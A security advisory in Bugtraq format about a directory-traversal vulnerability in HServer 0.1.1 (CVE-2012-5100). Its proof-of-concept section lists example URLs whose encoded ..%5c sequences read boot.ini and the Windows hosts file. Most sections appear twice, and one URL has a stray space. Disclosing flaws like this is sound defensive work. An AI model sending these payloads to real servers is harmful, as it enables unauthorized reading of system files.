HServer Directory Traversal Vulnerability
BID:51286
Info
HServer Directory Traversal Vulnerability
| Bugtraq ID: | 51286 |
| Class: | Input Validation Error |
| CVE: |
CVE-2012-5100 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 05 2012 12:00AM |
| Updated: | Sep 25 2012 02:10PM |
| Credit: | demonalex |
| Vulnerable: |
HServer HServer 0.1.1 |
| Not Vulnerable: | |
Discussion
HServer Directory Traversal Vulnerability
HServer web server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.
Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.
HServer 0.1.1 is vulnerable; other versions may also be affected.
HServer web server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.
Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.
HServer 0.1.1 is vulnerable; other versions may also be affected.
Exploit / POC
HServer Directory Traversal Vulnerability
An attacker can exploit this issue with a web browser.
The following example URLs are available:
http://www.example.com/..%5c..%5c..%5cboot.ini
http://www.example.com/..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdr ivers%5cetc%5chosts
An attacker can exploit this issue with a web browser.
The following example URLs are available:
http://www.example.com/..%5c..%5c..%5cboot.ini
http://www.example.com/..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdr ivers%5cetc%5chosts
Solution / Fix
HServer Directory Traversal Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
HServer Directory Traversal Vulnerability
References:
References:
- hserver (Maiores informações)
- HServer Homepage (HServer)
- HServer webserver - Directory Traversal Vulnerability (demonalex)